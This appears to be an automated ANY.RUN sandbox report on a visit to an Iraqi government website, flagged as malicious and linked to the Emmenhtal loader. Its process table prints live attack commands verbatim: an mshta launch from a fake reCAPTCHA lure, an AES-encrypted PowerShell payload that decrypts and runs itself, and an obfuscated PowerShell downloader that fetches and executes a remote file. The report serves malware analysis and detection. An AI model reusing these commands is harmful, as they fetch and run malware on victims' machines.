| URL: | https://mofa.gov.iq/ |
| Full analysis: | https://app.any.run/tasks/d538be3c-1720-4667-9181-859591d45128 |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | December 16, 2024, 19:21:11 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
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| Indicators: | |
| MD5: | 3AC5498A4351D33FF2356079E5C6691F |
| SHA1: | A753DE25E687579D6E517101D7429A90B82433AF |
| SHA256: | 87A1EC36F2626820EDF299A1083ED75F7E28D7F422AD1E6E2D5F5CCBAE2119F2 |
| SSDEEP: | 3:N8hRUK:2IK |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 1684 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3988 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function dmOv($HHdNM){return -split ($HHdNM -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$GBzi = dmOv('B693FFBF7A060F56FBBCAE8CE88B257F84F442EE8B95427C275AE63E7D69C7597740370019E4339B28D30198734C601900C8DAEAB1EEE71BE84475B1934A240728951A62FDA998D6E6C4EBF49348EC0744CDC1514363764C2184A74EFFD3216756393C23336DBF2DD8C465A510ACAFEE7F62691E6E99B399D27A12130CCD26E07AE49E73592CBD196691CFB762F6F8B01686867DF3C9787CCC21294DAB4E2045C9239FC2CE2D835AE91E3E87EDA55B25765A0A79887540181F808EC3FC8AC7245EC842BB8760B925E622AC945DA4E53F2851A4CC5CCABB93BB11559EF93B23CDA96847C6654BED2019ABDB2A3B1FC5B39045214EEA3F3A47A19A52FA8E42614E09C16E84BE2EC0544784E8A32DFE11567CCAC6C161203B5F3FB8385BE0DE8159A92A563F0DBF91C6F5D1E8D337D1DF748544FFF36E9B0729031BCFD2B847565C5749A76AC7D8654A34DC60C8DA4A028759FAD505399509817D774EF7514124380C863EA15423B4940A09FCDB29A142A95A0E601B04F30BF8BDD2D6C1513D3371AE7573B52750059CFD5BDEB5820A8A65E5E92CB99D95211C8FFFB1AFE0D610D53AC1B764681DF77FAD36E1266F9A7E3155A57BDE68EDD8E4F1B14059E881E3410A5EB6731156D7A4B86B449966F15197DB72797260508461560C4D1282AECC21876E5CF9433F2F57E1E5FC3125188D6F9CD13D378121F7089ACD4089BCEC6B9199569F3C577CC348C311D56BEDBE453964FB013791EB8B7F709455DDDA018CBFE8E626E7D521278F328C758EA00008424ECC889E8A79EB27E59F1861632CAD34273CDBF04937BB15169A520BF966A90E0D5A5D12919F526C854836F995316D8C1555CCB9B51EC2CC9127030C533C165218DACD1C98757BB0FBCE4831F99C582B190F13E957FAA05EC10C699E802915467EED946256C51869944123A938CC6D9D2A778B8E7EE5C5FEA9D1456417AEAEA2DB4BBD714E1C9F1CD6A31D057C82FE26E4930580F91AE80226AD99AFC5D45040FFE601409EA1D290E642B8EE724457D4CAC7DA0A9A11074B9988D8ADF074E3FAEC7877565A1C4138D4A4226B427F92EAA0D469BF091C9142C262A5EDE9651206BC6FE91BC1B11FFF1D371AA8277E28AB0E4344A3FF4547652C9A25C129C39912224F841197F359A164581087CC0D2BD4408C56C657C7C9380AF304D38C7B3B68CC223DD58846FA479338C4B76241AB850F3710440C21F1105B6D7F36EAB89FBC28851C18EA9EB343C0B2512E17A4D1C7C69CFD4171E7BB8133C4F46550EC4EB02109BE501D521538F03B8605ADCD1C6E693CC90952B5CF3D90EDEC5863781BFC4F3D953428ECB380640EE66CA4AEF59FBA774DFADB4A0ED2FA1D951A2C69E14EF913EDA4F8E4C1DCFF9C1B92DE802ADD03D5B3A0328FF228AD5CE67D060927B42DED4EFE7D07AD8C77B9C75F630DB4C372F771EFF4A6D73BBE9FF7BBB47223FEE497C5E02230CBD03091024602C6171CFC9792DEE15C1EEA9CCE1A62B7E4D08603791770687F5914BC15B01009FF709BD56906616A7252574EBD01A68EDA817FDB9C2B0E5667A0AE5E29B7A74A3BBEAD7DF8BAB2CEBC564424CAF1C51CF1A77A33E0ABA58CDE71C3466DA2A748C6EA93AA08B9B56DC1C2937B04CC82DC07E1D7FE855D9054748B5FDED610758944826A22C5B4C6CA52C9E81339827631C79D1ED60EF0571EAD9A26B8BA0815E7C98AC0074240047807630B43A43489EF5D2B5521032D5B0814385880DC9FD9A923420193E38B42D82B1777F67DCD648EC0143C5DFC388AF778FA2FC2E6CE786C316855C9BC3CAC2E4F3A7E6197DEF3A22CB45D344EFFCA669E284FFED336A20AE91C4561149BC53190AFC86EC78F5C51C6DDB50C5BEDB27D0166FB24EB62C3B566563C20B08433869469DBF91A6A7A6C93A1EA0F835A28B655CB28EB00C30293A5AF00AE9E5C956371A2BAB5A06B12326074F5EEC07E6C8BB857E1AD6145773CC3D76FA8BA114CC5D1768A44C3067BAF7416F7969EA12F468C61C6380C3CA7217A7A9535A38E87AC09693AADB60FEE62A16A22E73082D7BDCA734E62DCB90AFF0AB95FAB09B55B02768D694411E4E38960D23BD3F911D98D6E8F32636CCBFDA118C6E0CC8123039D594C22187333746636A9A684198A0AAF56EA20688A81AC2490D7BDC10C583601EC54B560F711400D3E59EDE4F39324B9FF40878FB570B15463BFCA2B04ABD72373811B31D0ED32E8A947AAE2079C0C6DCE246AA774B67EEDD7E77575F48BF8A455AD522910A20377CCD5A50A0DC31B168D60875D6CF0D9ACFA8511B8DE12038529E9C20674EEF819133917877ED6E3906C42D8679DC1B3EFE64976ECEFD304298D8DBC30F0DF3991C0E585F83883CC63D6782E1AA30593BA1C08B9D5A19A17E2EEFEC69CC14B9515C824CE7CD68A9AC201A02D109A93A9C51BE76AD47F1A7C579C8CF4E8226FDF7F086486');$BiMmA=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((dmOv('536C4544474446596253715A6E57476C')),[byte[]]::new(16)).TransformFinalBlock($GBzi,0,$GBzi.Length)); & $BiMmA.Substring(0,3) $BiMmA.Substring(187) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4548 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5368 --field-trial-handle=1900,i,15833451439503756527,6451217455003357512,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
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| 4592 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4840 | "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://brit.mindful-journal.shop/alisa.png';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4968 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5692 --field-trial-handle=1900,i,15833451439503756527,6451217455003357512,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
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| 4992 | "C:\WINDOWS\system32\mshta.exe" https://solve.jenj.org/awjxs.captcha?u=25e1eb04-5bc0-45d0-9353-1443aa5a9f25 # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7588'' | C:\Windows\System32\mshta.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
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| 6220 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --disk-cache-dir=null --disk-cache-size=1 --media-cache-size=1 --disable-gpu-shader-disk-cache --disable-background-networking --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction,OptimizationHints "https://mofa.gov.iq/" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
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| 6456 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x220,0x224,0x228,0x21c,0x1fc,0x7ff817e9dc40,0x7ff817e9dc4c,0x7ff817e9dc58 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
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| 6724 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgABAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1888 --field-trial-handle=1900,i,15833451439503756527,6451217455003357512,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Version: 122.0.6261.70 Modules
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| (PID) Process: | (6220) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (6220) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (6220) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (6220) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (6220) chrome.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96} |
| Operation: | write | Name: | usagestats |
Value: 0 | |||
| (PID) Process: | (4992) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (4992) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (4992) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (4840) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4840) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RF135e30.TMP | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF135e30.TMP | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old~RF135e40.TMP | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old~RF135e50.TMP | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old~RF135e40.TMP | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 6220 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.178:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6876 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6552 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
6876 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
4992 | mshta.exe | GET | 200 | 142.250.186.35:80 | http://c.pki.goog/r/r4.crl | unknown | — | — | whitelisted |
4992 | mshta.exe | GET | 200 | 142.250.186.35:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.48.23.178:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5064 | SearchApp.exe | 104.126.37.179:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
2804 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6220 | chrome.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
6740 | chrome.exe | 104.26.0.234:443 | mofa.gov.iq | CLOUDFLARENET | US | shared |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
mofa.gov.iq |
| unknown |
accounts.google.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
fonts.googleapis.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
6740 | chrome.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
6740 | chrome.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |